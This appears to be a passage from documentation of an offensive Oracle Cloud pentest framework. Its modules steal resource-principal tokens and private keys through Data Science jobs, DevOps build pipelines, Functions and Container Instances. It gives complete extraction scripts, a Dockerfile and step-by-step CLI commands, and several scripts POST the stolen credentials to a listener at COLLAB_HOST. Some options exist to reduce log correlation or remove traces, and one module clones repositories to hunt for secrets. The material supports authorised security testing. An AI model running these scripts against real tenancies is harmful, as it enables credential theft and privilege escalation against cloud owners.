rpst_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_RPST', '')
pk_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM', '')
version = os.environ.get('OCI_RESOURCE_PRINCIPAL_VERSION', 'NOT_SET')
region = os.environ.get('OCI_RESOURCE_PRINCIPAL_REGION', 'NOT_SET')
rpst = open(rpst_path).read().strip() if rpst_path and os.path.exists(rpst_path) else 'NO_RPST'
pk = open(pk_path).read().strip() if pk_path and os.path.exists(pk_path) else 'NO_PK'
payload = json.dumps({'version': version, 'region': region, 'rpst': rpst, 'pk': pk}).encode()
print('=== RPST_START ===')
print(payload.decode())
print('=== RPST_END ===')
try:
urlopen(Request('http://COLLAB_HOST/df-rpst', payload, {'Content-Type': 'application/json'}), timeout=15)
print('exfil sent')
except Exception as ex:
print('exfil error:', ex)Token paths inside the DataFlow runtime (set by OCI at run startup):
| Variable | Path |
|---|---|
OCI_RESOURCE_PRINCIPAL_RPST |
/var/run/secrets/resource-principal/rpst.jwt |
OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM |
/var/run/secrets/resource-principal/private.pem |
Module path: modules.datascience.exploit.exploit_datascience_jobs_rpst
OpenGraph Edges: GENERATE_RPST_DS_JOB_RUN
Uploads a bad Python artifact to an existing Data Science Job (or creates a new one) and triggers a run. If the target job already has an artifact, the module clones its infrastructure configuration, creates a temporary job, runs the exploit there, and deletes the temp job afterwards. Retrieval: OCI Logging → Object Storage upload (via RP) → exfil URL.
Dynamic Group rule: All {resource.type = 'datasciencejobrun', resource.compartment.id = 'COMP_OCID'}
enum_datascience found a job in a project whose dynamic group has cross-compartment read access to Vault secrets. Your credential has manage data-science-family in the project's compartment. Run exploit_datascience_jobs_rpst --job-id JOB_OCID --assume — the module swaps the job's artifact, triggers a run, retrieves the RPST from OCI Logging, and saves it as a credential. You can now call the Vault API as the job's resource principal and read any secrets in scope.
manage data-science-family in compartment (job update + job create + job-run create)
Object Storage manage objects is needed only when --output-bucket is used.
-
default— VM.Standard2.1 -
flex— VM.Standard3.Flex -
flex-e4— VM.Standard.E4.Flex
When creating a new job from scratch (--project-id): without --subnet-id the module uses Managed Egress (ME_STANDALONE); with --subnet-id it uses subnet-based standalone.
| Flag | Description |
|---|---|
--job-id |
Target existing job OCID |
--project-id |
Project OCID — used to create a new job when no --job-id
|
--subnet-id |
Subnet for new job (omit to use Managed Egress) |
--preplay |
Play name (default default) |
--log-group-id |
OCI Logging log-group OCID for retrieval |
--output-bucket |
Bucket: job uploads RPST via its own RP, module downloads as admin |
--output-url |
Also POST RPST to this URL |
--assume |
Auto-save captured RPST without prompting |
--wait-minutes |
Run timeout (default 15) |
With OCInferno:
# Existing job, exfil to listener
modules run exploit_datascience_jobs_rpst --job-id ocid1.datasciencejob.. --output-url http://COLLAB_HOST/rpst --assume
# Existing job, Object Storage retrieval
modules run exploit_datascience_jobs_rpst --job-id ocid1.. --output-bucket BUCKET_NAME --assume
# New Flex job from scratch (managed egress — no subnet needed)
modules run exploit_datascience_jobs_rpst --project-id ocid1.datascienceproject.. --preplay flex-e4 --output-url http://COLLAB_HOST/rpst
# Show plays
modules run exploit_datascience_jobs_rpst --preplay listWithout OCInferno (OCI CLI):
# 1. Upload extraction script as job artifact
oci data-science job create-artifact \
--job-id JOB_OCID \
--job-artifact-file rpst_extract.py \
--content-disposition "attachment; filename=rpst_extract.py" \
--profile CRED_NAME
# 2. Create job run
oci data-science job-run create \
--job-id JOB_OCID \
--compartment-id COMPARTMENT_OCID \
--display-name ocinferno-rpst-run \
--profile CRED_NAME
# 3. Poll until SUCCEEDED
oci data-science job-run get --job-run-id JOB_RUN_OCID --profile CRED_NAME
# 4. Retrieve via OCI Logging (requires --log-group-id on the job)
oci logging-search search-logs \
--search-query 'search "COMPARTMENT_OCID/LOG_GROUP_OCID/LOG_OCID" | where message like "RPST"' \
--time-start TIME_START --time-end TIME_END \
--profile CRED_NAMEIn place (bad_job.py) — reads the RPST JWT and private key from the OCI-injected env-var paths and prints them between RPST_START/RPST_END markers. Retrieved via OCI Logging after the job run completes:
import os, json
rpst_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_RPST', '')
pk_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM', '')
version = os.environ.get('OCI_RESOURCE_PRINCIPAL_VERSION', 'NOT_SET')
region = os.environ.get('OCI_RESOURCE_PRINCIPAL_REGION', 'NOT_SET')
rpst = open(rpst_path).read().strip() if rpst_path and os.path.exists(rpst_path) else 'NO_RPST'
pk = open(pk_path).read().strip() if pk_path and os.path.exists(pk_path) else 'NO_PK'
print('=== RPST_START ===')
print(json.dumps({'version': version, 'region': region, 'rpst': rpst, 'pk': pk}))
print('=== RPST_END ===')Exfil variant (bad_job.py) — also POSTs the RPST to an external listener. Used when --output-url is passed:
import os, json
from urllib.request import urlopen, Request
rpst_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_RPST', '')
pk_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM', '')
version = os.environ.get('OCI_RESOURCE_PRINCIPAL_VERSION', 'NOT_SET')
region = os.environ.get('OCI_RESOURCE_PRINCIPAL_REGION', 'NOT_SET')
rpst = open(rpst_path).read().strip() if rpst_path and os.path.exists(rpst_path) else 'NO_RPST'
pk = open(pk_path).read().strip() if pk_path and os.path.exists(pk_path) else 'NO_PK'
payload = json.dumps({'version': version, 'region': region, 'rpst': rpst, 'pk': pk}).encode()
print('=== RPST_START ===')
print(payload.decode())
print('=== RPST_END ===')
try:
urlopen(Request('http://COLLAB_HOST/ds-rpst', payload, {'Content-Type': 'application/json'}), timeout=15)
print('exfil sent')
except Exception as ex:
print('exfil error:', ex)Module path: modules.devops.exploit.exploit_devops_pipelines_rpst
OpenGraph Edges: GENERATE_RPST_DEVOPS_BUILD_PIPELINE
Creates a DevOps code repository, pushes a build_spec.yaml that reads the resource-principal
env vars via SSH (preferred, uses the API signing key) or HTTPS auth token (fallback),
injects a BUILD stage into the target pipeline, and triggers a build run.
Stdout is only retrievable via OCI Logging or --output-url exfil — there is no inline
log retrieval API equivalent to DataFlow's get_run_log().
Dynamic Group rule: All {resource.type = 'devopsbuildrun', resource.compartment.id = 'COMP_OCID'}
Note: devopsbuildrun, not devopsbuildpipeline.
enum_devops found a build pipeline in a project whose dynamic group has manage objects in tenancy — the build service can read and write any bucket. You have manage devops-family in that compartment. Run exploit_devops_pipelines_rpst --pipeline-id PIPELINE_OCID --output-url http://COLLAB_HOST/rpst --assume --cleanup — the module injects a build stage, triggers a run, and exfils the RPST to your listener. With --cleanup the injected stage and temp repo are removed afterwards, leaving the pipeline in its original state.
manage devops-family in compartment
use devops-repository in compartment (HTTPS path only; not required for SSH)
manage auth-tokens in tenancy (HTTPS path only, if auto-creating a token)
git must be installed on the pentester host.
OCI DevOps SCM (the git server behind code repositories) uses a separate authentication layer from the standard OCI API. API calls to DevOps (creating repos, injecting pipeline stages, triggering runs) use your normal OCI credential. The git push step requires one additional authentication factor, which takes one of two forms:
SSH path (preferred): uses the credential's OCI API signing key (key_file) as the SSH identity — same key used for API calls. No auth token quota is consumed. Username format: DomainName/UserName@TenancyName (Identity Domain) or UserName@TenancyName (classic).
HTTPS path (fallback): used when the active credential has no key_file (e.g. instance/resource principals). Uses an OCI auth token as the git password. Auth tokens are visible in the OCI console under a user's "Auth Tokens" tab within an identity domain, but only at initial creation — they cannot be retrieved afterwards. OCI allows max 2 auth tokens per user; the module auto-cleans stale ocinferno-devops-exploit-temp tokens before creating a new one.
HTTPS git username format:
- Identity Domain tenancies:
TenancyName/DomainName/UserName(e.g.Acme/Default/alice@example.com) - Classic IAM tenancies:
TenancyName/UserName
To use a pre-stored auth token, add it to the workspace DB before running the module:
configs auth-tokens list
configs auth-tokens add --token-id <id> --token-value <val>
If stored tokens are found the module skips auto-creation and uses the stored value. Otherwise it creates a temporary token, uses it for the git push, and deletes it immediately afterwards.
Note: Auto-creating a token requires
manage auth-tokens in tenancyand a short propagation wait on Identity Domain tenancies.
-
ol8— OL8_X86_64_STANDARD_10 (default) -
ol7— OL7_X86_64_STANDARD_10
| Flag | Description |
|---|---|
--pipeline-id |
Inject into an existing pipeline |
--project-id |
Create a new pipeline in this project |
--preplay |
Play name (default ol8) |
--output-url |
POST RPST to this URL during the build |
--log-group-id |
OCI Logging log-group OCID for retrieval |
--stage-name |
Name for the injected stage (default rpst-extract) |
--cleanup |
Delete the injected stage + code repo after the run |
--assume |
Auto-save captured RPST without prompting |
--wait-minutes |
Run timeout (default 20) |
With OCInferno:
# Inject into existing pipeline, exfil + cleanup
modules run exploit_devops_pipelines_rpst --pipeline-id ocid1.devopsbuildpipeline.. --output-url http://COLLAB_HOST/rpst --cleanup
# Create everything from scratch in a project
modules run exploit_devops_pipelines_rpst --project-id ocid1.devopsproject.. --output-url http://COLLAB_HOST/rpst
# Show plays
modules run exploit_devops_pipelines_rpst --preplay listWithout OCInferno (OCI CLI):
# 1. Create a hosted code repository in the project
oci devops repository create \
--project-id PROJECT_OCID \
--name rpst-extract \
--repository-type HOSTED \
--profile CRED_NAME
# 2. Create a temporary auth token and push a build_spec.yaml via git
oci iam auth-token create --user-id USER_OCID --description temp-exploit --profile CRED_NAME
git clone https://TENANCY_NAME/DOMAIN_NAME/USERNAME@devops.scmservice.REGION.oci.oraclecloud.com/namespaces/NAMESPACE/projects/PROJECT_NAME/repositories/rpst-extract
# (write build_spec.yaml that cats OCI_RESOURCE_PRINCIPAL_RPST + OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM, then git push)
# 3. Add a BUILD stage pointing at the new repo and build_spec.yaml
# To inject after an existing stage, add: --stage-predecessor-collection '{"items":[{"id":"EXISTING_STAGE_OCID"}]}'
oci devops build-pipeline-stage create-build-stage \
--build-pipeline-id PIPELINE_OCID \
--display-name rpst-extract \
--image OL8_X86_64_STANDARD_10 \
--build-spec-file "build_spec.yaml" \
--build-source-collection '{"items":[{"connectionType":"DEVOPS_CODE_REPOSITORY","name":"primary","repositoryId":"REPO_OCID","repositoryUrl":"REPO_HTTPS_URL","branch":"main"}]}' \
--profile CRED_NAME
# 4. Trigger a build run
oci devops build-run create --build-pipeline-id PIPELINE_OCID --profile CRED_NAME
# 5a. Retrieve log artifact directly (no Logging service required — use with in-place build_spec.yaml)
oci devops build-run get-log-artifact \
--build-run-id BUILDRUN_OCID \
--artifact-key "build_log" \
--file - --profile CRED_NAME
# 5b. Retrieve via OCI Logging (alternative — use when --log-group-id is set on the pipeline)
oci logging-search search-logs \
--search-query 'search "COMPARTMENT_OCID/LOG_GROUP_OCID/LOG_OCID" | where message like "RPST"' \
--time-start TIME_START --time-end TIME_END \
--profile CRED_NAMEIn place (build_spec.yaml) — the build stage runs this spec, which reads the OCI-injected RPST env-var paths via an inline python3 -c command and prints the result between RPST_START/RPST_END markers. Retrieved via get-log-artifact (step 5a in Without OCInferno) or OCI Logging (step 5b):
version: 0.1
component: build
timeoutInSeconds: 300
runAs: root
steps:
- type: Command
name: Extract Resource Principal RPST
command: |
echo "=== RPST_START ==="
python3 -c "
import os, json
rpst_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_RPST', '')
pk_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM', '')
version = os.environ.get('OCI_RESOURCE_PRINCIPAL_VERSION', 'NOT_SET')
region = os.environ.get('OCI_RESOURCE_PRINCIPAL_REGION', 'NOT_SET')
rpst = open(rpst_path).read().strip() if rpst_path and os.path.exists(rpst_path) else 'NO_RPST'
pk = open(pk_path).read().strip() if pk_path and os.path.exists(pk_path) else 'NO_PK'
print(json.dumps({'version': version, 'region': region, 'rpst': rpst, 'pk': pk}))
"
echo "=== RPST_END ==="With exfil (build_spec.yaml) — when --output-url is passed, the module appends a second step that POSTs the RPST to a listener during the run:
version: 0.1
component: build
timeoutInSeconds: 300
runAs: root
steps:
- type: Command
name: Extract Resource Principal RPST
command: |
echo "=== RPST_START ==="
python3 -c "
import os, json
rpst_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_RPST', '')
pk_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM', '')
version = os.environ.get('OCI_RESOURCE_PRINCIPAL_VERSION', 'NOT_SET')
region = os.environ.get('OCI_RESOURCE_PRINCIPAL_REGION', 'NOT_SET')
rpst = open(rpst_path).read().strip() if rpst_path and os.path.exists(rpst_path) else 'NO_RPST'
pk = open(pk_path).read().strip() if pk_path and os.path.exists(pk_path) else 'NO_PK'
print(json.dumps({'version': version, 'region': region, 'rpst': rpst, 'pk': pk}))
"
echo "=== RPST_END ==="
- type: Command
name: Exfil RPST
command: |
python3 -c "
import os, json
from urllib.request import urlopen, Request
rpst_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_RPST', '')
pk_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM', '')
version = os.environ.get('OCI_RESOURCE_PRINCIPAL_VERSION', 'NOT_SET')
region = os.environ.get('OCI_RESOURCE_PRINCIPAL_REGION', 'NOT_SET')
rpst = open(rpst_path).read().strip() if rpst_path and os.path.exists(rpst_path) else 'NO_RPST'
pk = open(pk_path).read().strip() if pk_path and os.path.exists(pk_path) else 'NO_PK'
payload = json.dumps({'version': version, 'region': region, 'rpst': rpst, 'pk': pk}).encode()
try:
urlopen(Request('http://COLLAB_HOST/devops-rpst', payload, {'Content-Type': 'application/json'}), timeout=15)
print('exfil sent')
except Exception as ex:
print('exfil error:', ex)
"Valid stage types in OCI DevOps build pipelines: BUILD, DELIVER_ARTIFACT, TRIGGER_DEPLOYMENT_PIPELINE, WAIT — there is no SHELL type. Inject code execution via a BUILD stage. The build_spec steps use type: Command (different from pipeline stage types).
Module path: modules.functions.exploit.exploit_functions_rpst
OpenGraph Edges: GENERATE_RPST_FN_FUNCTION
Swaps an existing OCI Function's container image for an pentester-controlled image that
returns the RPST inline in the invoke response body. No OCI Logging, no Object Storage
read permissions, and no exfil listener are required — the token arrives as the HTTP response.
Optionally restores the original image after capture (--no-restore to skip).
Dynamic Group rule: All {resource.type = 'fnfunc', resource.compartment.id = 'COMP_OCID'}
enum_functions found a function named process-payments whose dynamic group has manage vault-secrets in compartment. You have manage functions-family. Run --build-play --preplay python312 --image phx.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest to write sources and get exact docker build/save commands. Build the image on your machine, then re-run with --function-id FUNCTION_OCID --image phx.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest --tarball ./fn-rpst-python312/fn_play.tar --assume — the module pushes the tarball via OCI signing (no docker login), swaps the function image, invokes, and the RPST arrives inline in the HTTP response. The original image is automatically restored unless you pass --no-restore.
manage functions-family in compartment (FN_FUNCTION_UPDATE + FN_FUNCTION_INVOKE)
For OCIR push: either docker login with an auth token (see exploit_add_user_auth_token), or use the exploit_ocir_image_manipulate module which uses OCI API signing (no auth token, no docker login). The --tarball flag invokes the latter path and does not require manage auth-tokens.
-
python312— Python 3.12 FDK handler (default) -
python39— Python 3.9 FDK handler (fallback) -
python-stdlib— stdlib HTTPServer on port 8080, no FDK, uses python:3.14-slim -
node24— Node.js 24 FDK handler -
go124— Go 1.24 FDK handler (statically linked) -
java11— Java 11 FDK handler (not auto-buildable; requires Maven)
| Flag | Description |
|---|---|
--image |
Full OCIR image URI to use as the pentester image (required unless --build-play) |
--function-id |
Target function OCID (prompted/selected from DB if omitted) |
--function-name |
Resolve target function from workspace DB by display name (alternative to --function-id) |
--app-id |
Application OCID (enumerate all functions in an app) |
--preplay |
Play for --build-play or --save-sources
|
--build-play |
Write play sources to disk + print exact docker build / docker save commands; returns immediately — operator runs Docker, then re-runs with --tarball to push and exploit |
--tarball |
Path to a docker save tarball; pushes it to OCIR via OCI signing (no docker login) then updates + invokes |
--random-tag |
Append 8-char random suffix to the image tag (reduces predictability in OCIR access logs) |
--original-image |
Explicitly set the image to restore after capture (auto-detected if omitted) |
--save-sources |
Write Dockerfiles + source to disk without running the exploit |
--no-restore |
Do not restore the original function image after capture |
--output-url |
Also POST RPST to this URL |
--invoke-url |
Invoke via plain HTTP POST to a public URL (API Gateway) instead of OCI signing — only FN_FUNCTION_UPDATE IAM required |
--url-path |
Secret path token baked into function sources at --build-play time; appended to --invoke-url at invoke time |
--assume |
Auto-save captured RPST without prompting |
With OCInferno:
# Swap + invoke (RPST returned inline, no listener needed)
modules run exploit_functions_rpst --function-id FUNCTION_OCID \
--image phx.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest --assume
# Push a pre-built tarball (no docker login — OCI signing used)
modules run exploit_functions_rpst --function-id FUNCTION_OCID \
--image phx.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest \
--tarball ./fn-rpst-python312/fn_play.tar --assume
# Build workflow: generate sources, then re-run with tarball
modules run exploit_functions_rpst --build-play --preplay python312 \
--image phx.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest
# (run: docker build -t … && docker save … -o fn_play.tar)
modules run exploit_functions_rpst --function-id FUNCTION_OCID \
--image phx.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest \
--tarball ./fn-rpst-python312/fn_play.tar --assume
# Invoke via API Gateway (no OCI invoke IAM needed; just FN_FUNCTION_UPDATE)
modules run exploit_functions_rpst --function-id FUNCTION_OCID \
--image phx.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest \
--invoke-url https://APIGW_HOST/fn --url-path MYTOKEN --assume
# Random tag (vary tag per engagement to reduce log correlation)
modules run exploit_functions_rpst --function-id FUNCTION_OCID \
--image phx.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest --random-tag --assume
# Show all plays
modules run exploit_functions_rpst --preplay listWithout OCInferno (OCI CLI):
# 0a. Get your Object Storage namespace (used as the OCIR registry prefix)
oci os ns get --profile CRED_NAME
# 0b. Create an IAM auth token for Docker login — shown only once, save it
oci iam auth-token create \
--user-id USER_OCID \
--description "ocir-push-token" \
--profile CRED_NAME
# 0c. Log in to OCIR, build, and push
# Before building, your working directory should contain:
# func.py (the handler — from Script Analysis above, or --save-sources)
# Dockerfile (from Script Analysis above, or --save-sources)
# $ ls
# Dockerfile func.py
#
# Username format: NAMESPACE/USERNAME
# Identity Domain tenancies: NAMESPACE/DOMAIN/USERNAME (e.g. mynamespace/Default/alice@example.com)
# Region prefix examples: phx=us-phoenix-1 iad=us-ashburn-1 fra=eu-frankfurt-1 lhr=uk-london-1
docker login phx.ocir.io -u "OBJECT_STORAGE_NAMESPACE/CRED_NAME" -p "AUTH_TOKEN"
docker build -t phx.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest .
docker push phx.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest
# 0d. (Optional) Delete the auth token after pushing
oci iam auth-token delete \
--user-id USER_OCID \
--auth-token-id TOKEN_OCID \
--profile CRED_NAME --force
# 1. Swap the function image to your pentester-controlled OCIR image
oci fn function update \
--function-id FUNCTION_OCID \
--image phx.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest \
--profile CRED_NAME
# 2. Invoke — RPST JWT is returned inline in the response body
oci fn function invoke \
--function-id FUNCTION_OCID \
--file - \
--profile CRED_NAME
# 3. Restore original image when done
oci fn function update \
--function-id FUNCTION_OCID \
--image ORIGINAL_IMAGE_URI \
--profile CRED_NAMEThe module uses the fnproject/python runtime images from the Fn Project Docker Hub organization. fdk is pre-installed in these images — no pip install or requirements.txt needed. These are the images referenced in OCI Functions documentation:
- https://docs.oracle.com/en-us/iaas/Content/Functions/Tasks/functionssupportedlanguageversions.htm
- https://docs.oracle.com/en-us/iaas/Content/Functions/Tasks/languagessupportedbyfunctions.htm
Build from func.py + Dockerfile below, then push to OCIR as shown in steps 0a–0d of Without OCInferno. Use modules run exploit_functions_rpst --preplay list --save-sources to write all play source files to disk.
In place (func.py) — the FDK calls handler() on each invoke. Returns the RPST and private key inline in the invoke response body. No listener or Logging service required:
import io, os, json, fdk.response
def handler(ctx, data: io.BytesIO = None):
rpst_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_RPST', '')
pk_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM', '')
version = os.environ.get('OCI_RESOURCE_PRINCIPAL_VERSION', 'NOT_SET')
region = os.environ.get('OCI_RESOURCE_PRINCIPAL_REGION', 'NOT_SET')
rpst = open(rpst_path).read().strip() if rpst_path and os.path.exists(rpst_path) else 'NO_RPST'
pk = open(pk_path).read().strip() if pk_path and os.path.exists(pk_path) else 'NO_PK'
payload = {'version': version, 'region': region, 'rpst': rpst, 'pk': pk}
return fdk.response.Response(ctx, response_data=json.dumps(payload),
headers={'Content-Type': 'application/json'})Dockerfile — single-stage: fdk is pre-installed in the fnproject/python runtime image, so no pip install step is needed:
FROM fnproject/python:3.12
WORKDIR /function
COPY func.py .
CMD ["func.py::handler"]Uses python:3.14-slim (standard Docker Hub image) with a stdlib HTTP server instead of FDK. OCI Functions invoke is just a POST to port 8080 — no FDK required for a single capture. Use this when you want to avoid any dependency on the fnproject Docker Hub organization.
Trade-off: the stdlib server closes the HTTP connection after each response. FDK keeps it alive across invocations (Fn 2.0 http-stream). For a single RPST capture this makes no difference; avoid this play if the target function is expected to receive concurrent or repeated invocations during the window.
--url-path TOKEN: when --url-path is set at --build-play time, the secret path token is baked into the handler source — the stdlib server returns 404 for any POST whose URL path does not match. Combine with --invoke-url to invoke via a public API Gateway endpoint without exposing the RPST to other callers on the same URL.
func.py — listens on port 8080, responds to POST with RPST JSON:
import http.server, os, json
class _H(http.server.BaseHTTPRequestHandler):
def do_POST(self):
rpst_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_RPST', '')
pk_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM', '')
version = os.environ.get('OCI_RESOURCE_PRINCIPAL_VERSION', 'NOT_SET')
region = os.environ.get('OCI_RESOURCE_PRINCIPAL_REGION', 'NOT_SET')
rpst = open(rpst_path).read().strip() if rpst_path and os.path.exists(rpst_path) else 'NO_RPST'
pk = open(pk_path).read().strip() if pk_path and os.path.exists(pk_path) else 'NO_PK'
body = json.dumps({'version': version, 'region': region, 'rpst': rpst, 'pk': pk}).encode()
self.send_response(200)
self.send_header('Content-Type', 'application/json')
self.end_headers()
self.wfile.write(body)
def log_message(self, *a): pass
http.server.HTTPServer(('', 8080), _H).serve_forever()Dockerfile:
FROM python:3.14-slim
WORKDIR /function
COPY func.py .
CMD ["python3", "func.py"]Build and push the same way as the FDK plays (steps 0a–0d of Without OCInferno), then run:
modules run exploit_functions_rpst --preplay python-stdlib --image phx.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest
modules run exploit_functions_rpst --build-play --preplay python-stdlib --image phx.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latestModule path: modules.containerinstances.exploit.exploit_containerinstances_rpst
OpenGraph Edges: GENERATE_RPST_CONTAINER_INSTANCE
Launches an OCI Container Instance whose container runs an extraction script that reads the
resource-principal environment variables and prints them between RPST_START/RPST_END
markers. The module retrieves stdout via the Container Instances retrieve_logs() API — no
OCI Logging service, no Object Storage read permissions, and no exfil listener are required
by default. Uses the public python:3.14-slim Docker Hub image; no image build or registry
push is needed.
OCI injects RPST env vars into the container at startup regardless of whether a dynamic group is in place — the DG+policy only controls what API calls the captured RPST can make. You can always capture a valid RPST from any container instance you can create. The standout advantage here over the other RPST modules is retrieval: stdout comes back inline via retrieve_logs() with no OCI Logging service, no Object Storage, and no exfil listener required.
Dynamic Group rule: All {resource.type = 'computecontainerinstance', resource.compartment.id = 'COMP_OCID'}
Note: computecontainerinstance, not containerinstance.
You have manage compute-container-instances in a compartment but no DataFlow or Data Science resources exist there. Run exploit_containerinstances_rpst --subnet-id SUBNET_OCID --assume — spins up a container from a public Docker Hub image, retrieves stdout inline via retrieve_logs(), and saves the RPST as a credential. No Logging service, no exfil listener, no custom image needed. Any policy the DG carries is a bonus on top.
manage compute-container-instances in compartment
use virtual-network-family in compartment (VCN/subnet placement)
A subnet OCID is required — run enum_core --subnets first to populate the DB, or pass
--subnet-id directly.
-
python—python:3.14-slim(default) -
alpine—python:3.14-alpine -
ubuntu—ubuntu:24.04 -
node—node:26-slim -
ruby—ruby:4.0.6-slim
All plays use official Docker Hub public images — no build, no push, no registry auth required.
Run modules run exploit_containerinstances_rpst --preplay list for the full table.
| Flag | Description |
|---|---|
--subnet-id |
Subnet OCID for placement (prompted/selected from DB if omitted) |
--preplay |
Play name (default python) |
--image |
Override the play's image (any Docker Hub public or OCIR URI) |
--output-url |
Also POST RPST to this URL |
--script-file |
Local Python script passed as python3 -c (overrides play script) |
--log-group-id |
OCI Logging log-group OCID — searched as fallback if retrieve_logs() finds nothing |
--cleanup |
Delete the container instance after the run |
--assume |
Auto-save captured RPST without prompting |
--wait-seconds |
Polling timeout in seconds (default 120) |
With OCInferno:
# Default play, subnet auto-selected from DB
modules run exploit_containerinstances_rpst
# Specify subnet and auto-save credential, then delete the CI
modules run exploit_containerinstances_rpst --subnet-id SUBNET_OCID --assume --cleanup
# Alpine play (smallest image footprint)
modules run exploit_containerinstances_rpst --subnet-id SUBNET_OCID --preplay alpine
# Also exfil to listener (in addition to inline retrieve_logs retrieval)
modules run exploit_containerinstances_rpst --subnet-id SUBNET_OCID --output-url http://COLLAB_HOST/ci-rpst
# Show plays
modules run exploit_containerinstances_rpst --preplay listWithout OCInferno (OCI CLI):
# 1. Launch container instance running the extraction script
oci container-instances container-instance create \
--compartment-id COMPARTMENT_OCID \
--availability-domain AD_NAME \
--shape CI.Standard.E4.Flex \
--shape-config '{"ocpus":1,"memoryInGBs":8}' \
--vnics '[{"subnetId":"SUBNET_OCID","isPublicIpAssigned":false}]' \
--containers '[{"imageUrl":"python:3.14-slim","command":["python3","-c","import os,base64,json; print(\"RPST_START\"); print(json.dumps({\"rpst\":open(os.environ[\"OCI_RESOURCE_PRINCIPAL_RPST\"]).read().strip(),\"pk\":base64.b64encode(open(os.environ[\"OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM\"],\"rb\").read()).decode()})); print(\"RPST_END\")"]}]' \
--profile CRED_NAME
# 2. Wait for INACTIVE lifecycle-state (container exited)
oci container-instances container-instance get \
--container-instance-id CI_OCID --profile CRED_NAME
# 3. Retrieve stdout (note: requires the container OCID, not the instance OCID)
oci container-instances container retrieve-logs \
--container-id CONTAINER_OCID --profile CRED_NAMEToken paths inside the container (these env vars point to the injected JWT and private key):
| Variable | Path |
|---|---|
OCI_RESOURCE_PRINCIPAL_RPST |
/var/oci/rp-identity/latest/session_token |
OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM |
/var/oci/rp-identity/latest/private_key |
The extraction command passed inline via --containers reads these paths and prints the values between RPST_START/RPST_END markers, which the module parses from the retrieve_logs() response.
OCI DevOps code repositories use a separate authentication layer for git clone: API calls use your normal OCI credential, but the git clone step requires either an SSH key (the same RSA key registered as an OCI API key) or an OCI auth token (used as the git password via HTTPS). The module below handles this automatically, preferring SSH and falling back to an auth token when no key file is available.
Module path: modules.devops.exploit.exploit_devops_repositories_download
OpenGraph Edges: None (recon/download action, not modelled as a graph edge)
Clones OCI DevOps code repositories to disk. The module reads repository records from the
workspace DB (populated by enum_devops --repositories) and clones each one using either
SSH (preferred) or HTTPS (auth token fallback).
OCI DevOps SCM (the git server behind code repositories) uses a separate authentication layer from the standard OCI API. API calls to DevOps use your normal OCI credential. The git clone step requires one additional authentication factor, which takes one of two forms:
SSH path (preferred): uses the credential's OCI API signing key (key_file) as the SSH identity — same key used for API calls. No auth token quota is consumed. Username format: DomainName/UserName@TenancyName (Identity Domain) or UserName@TenancyName (classic).
HTTPS path (fallback): used when the active credential has no key_file (e.g. instance/resource principals). Uses an OCI auth token as the git password. Auth tokens are visible in the OCI console under a user's "Auth Tokens" tab within an identity domain, but only at initial creation — they cannot be retrieved afterwards. OCI allows max 2 auth tokens per user; the module auto-cleans stale tokens before creating a new one.
HTTPS git username format:
- Identity Domain tenancies:
TenancyName/DomainName/UserName(e.g.Acme/Default/alice@example.com) - Classic IAM tenancies:
TenancyName/UserName
To use a pre-stored auth token, add it to the workspace DB before running the module:
configs auth-tokens list
configs auth-tokens add --token-id <id> --token-value <val>
If stored tokens are found the module presents a menu to select one and skips auto-creation. Otherwise it creates a temporary token, uses it for the clone, and deletes it immediately afterwards.
Note: Auto-creating a token requires
manage auth-tokens in tenancyand a short propagation wait on Identity Domain tenancies.
enum_devops found 14 repositories in a DevOps project. You want to search them for hardcoded credentials, Terraform state files, or database connection strings. Run enum_devops --repositories to populate the DB (if not already done), then exploit_devops_repositories_download — all 14 repos are cloned to ocinferno_output/<workspace>/downloads/devops/repositories/ using your API key as the SSH identity, no auth token needed. From there, grep for secrets with your preferred tool (trufflehog, gitleaks, etc.).
read devops-family in compartment
use devops-repository in compartment (HTTPS path only; not needed for SSH)
manage auth-tokens in tenancy (HTTPS path only, if auto-creating a token)
Run enum_devops --repositories first to populate the devops_repositories table.
| Flag | Description |
|---|---|
--compartment-id |
Only clone repositories in this compartment OCID |
--repo-id |
Only clone this specific repository OCID |
--depth |
git clone --depth value (default 1 for speed; use 0 for full history) |
--git-username |
Override the auto-resolved HTTPS git username |
--yes / --no-prompt
|
Non-interactive (auto-selects first stored token or creates new) |
With OCInferno:
# Clone all repos in the workspace (SSH preferred)
modules run exploit_devops_repositories_download
# Clone only repos in a specific compartment
modules run exploit_devops_repositories_download --compartment-id COMPARTMENT_ID
# Clone a specific repository
modules run exploit_devops_repositories_download --repo-id ocid1.devopsrepository.oc1..
# Full history (no depth limit)
